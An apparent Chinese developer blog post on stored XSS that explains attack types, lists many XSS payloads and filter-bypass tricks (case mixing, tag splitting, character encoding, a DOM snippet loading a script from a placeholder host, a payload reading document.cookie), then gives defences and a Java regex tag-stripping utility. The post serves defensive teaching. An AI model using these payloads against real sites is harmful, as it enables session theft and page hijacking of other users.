存储性xss过滤

存储性xss过滤

xss概念

xss又叫css(cross site
scripting,跨站脚本攻击),xss攻击通过在web页面插入恶意脚本,当页面被浏览时,恶意脚本会被执行,实现攻击用户的目的。

xss类型

1、存储型/持久型 存储型指恶意脚本会被存储在服务器端,如数据库中或者文件中。例如留言板等很容易因为输入检验不严谨导致被攻击。
2、反射型/非持久型 反射型一般是带有恶意脚本参数的URL,是一次性的。
3、DOM型
基于DOM文档对象模型的xss漏洞,客户端的恶意脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。可能触发DOM型xss的属性有document.write、innerHTML、location、window.name、document.referer等。

xss攻击类型

<!--1:利用html标记 -->
  <script>alert(1);</script>
<script>prompt(1)</script>
<iframe src="javascript:alert(1)">
<!--2:利用html标签属性 -->
<!--利用html标签支持js伪协议形式,如src,href,background、value、action、lowsrc、bgsound、dynsrc等,进行xss注入。如: -->
<img src="javascript:alert(1);"/>
<table background="javascript:alert(1);"></table>
<!--3:事件利用 -->
<!--可以利用html中某些动作事件,绑定恶意脚本。常用的事件有mouseover、onclick、onfocus、onerror、onload、onchange等,具体见:html事件属性: -->
<input type="button" value="click me" onclick="alert(1)" />
<!--4:利用css跨站 -->
<!--css样式表可作为恶意脚本载体,不需要嵌入html中,可以通过link或者@import进行引用,比较隐蔽,不过不同浏览器之间不能通用。: -->
<div style="background-image:url(javascript:alert(1))"></div>
<style>
    body{background-image:url(javascript:alert(1));}
     //expression中可使用全角字符
    p{background-image:expression(alert(1));}
    <style>@import'javascript:alert('xss');'</style>
</style>
<!--5、规避过滤规则 -->
<!--可利用大小写混淆、拼接和拆分(空格回车和tab绕过)、字符编码等方式,如: -->
<scRiPt>alert(1);</scrIPt>
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src="javas		cript:alert(1);"/>//语句必须完整,有分号或者标签对。
//可以将代码用ASCII码替换,也可十进制、十六进制、八进制编码
<img src="javascrip#116&#58alert(1)" />
<a href=&quot;#javascript:alert(&#39;xss&#39;)&quot;>xss</a>
//拆分,可绕过长度限制
<script>z='document.'</script>
<script>z=+'write'("'</script>
<script>z=z+'<script'</script>
......
<script>eval(z)</script>
<!--6、DOM方法利用 -->
var s=document.createElement("script");
s.src="http://xxx/xxx.js";
document.getElementsByTagName("head")[0].appendChild(s);
<!--7、location方法利用 -->
<!--利用location加JavaScript伪代码,将“符号”、“变量名”、“函数名” 都变成字符串,在字符串中可以使用js编码,构造payload。 -->
<input type="button" value="click me" name=javascript:alert%281%29" οnfοcus=location=this.name />
<img src="1" οnerrοr=location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29">

xss防御

1:后台处理,过滤掉敏感脚本 iframe,script,<>,javascript,空格,引号、&等
2:输出html时,加上Content Security Policy的Http Header,可防止页面被XSS攻击时,嵌入第三方的脚本文件等
3:设置Cookie时,加上HttpOnly参数
4:开发API时,检验请求的Referer参数

xss防御工具类
一般存储性xss攻击存入数据库,
俩个途径,

1:页面新增或编辑,
2:导入exec

具体做法是,

获取到页面输入的值或者获取到导入的每一列字段,调用工具类对其过滤即可,

public class FilterXssHtmlUtil {

public static String Html2Text(String inputString){
    String htmlStr = inputString; //含html标签的字符串
    String textStr ="";
    java.util.regex.Pattern p_script;
    java.util.regex.Matcher m_script;
    java.util.regex.Pattern p_style;
    java.util.regex.Matcher m_style;
    java.util.regex.Pattern p_html;
    java.util.regex.Matcher m_html;
   try{
         String regEx_script = "<[\\s]*?script[^>]*?>[\\s\\S]*?<[\\s]*?\\/[\\s]*?script[\\s]*?>"; //定义script的正则表达式{或<script[^>]*?>[\\s\\S]*?<\\/script> }
         String regEx_style = "<[\\s]*?style[^>]*?>[\\s\\S]*?<[\\s]*?\\/[\\s]*?style[\\s]*?>"; //定义style的正则表达式{或<style[^>]*?>[\\s\\S]*?<\\/style> }
         String regEx_html = "<[^>]+>"; //定义HTML标签的正则表达式
         p_script = Pattern.compile(regEx_script,Pattern.CASE_INSENSITIVE);
         m_script = p_script.matcher(htmlStr);
         htmlStr = m_script.replaceAll(""); //过滤script标签
         p_style = Pattern.compile(regEx_style,Pattern.CASE_INSENSITIVE);
         m_style = p_style.matcher(htmlStr);
         htmlStr = m_style.replaceAll(""); //过滤style标签
         p_html = Pattern.compile(regEx_html,Pattern.CASE_INSENSITIVE);
         m_html = p_html.matcher(htmlStr);
         htmlStr = m_html.replaceAll(""); //过滤html标签
         textStr = htmlStr;
    }catch(Exception e){
    e.printStackTrace();
    }
    return textStr;//返回文本字符串
}

}

xss增加过滤器过滤xss参考

https://blog.csdn.net/abcjwg/article/details/89305717?

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值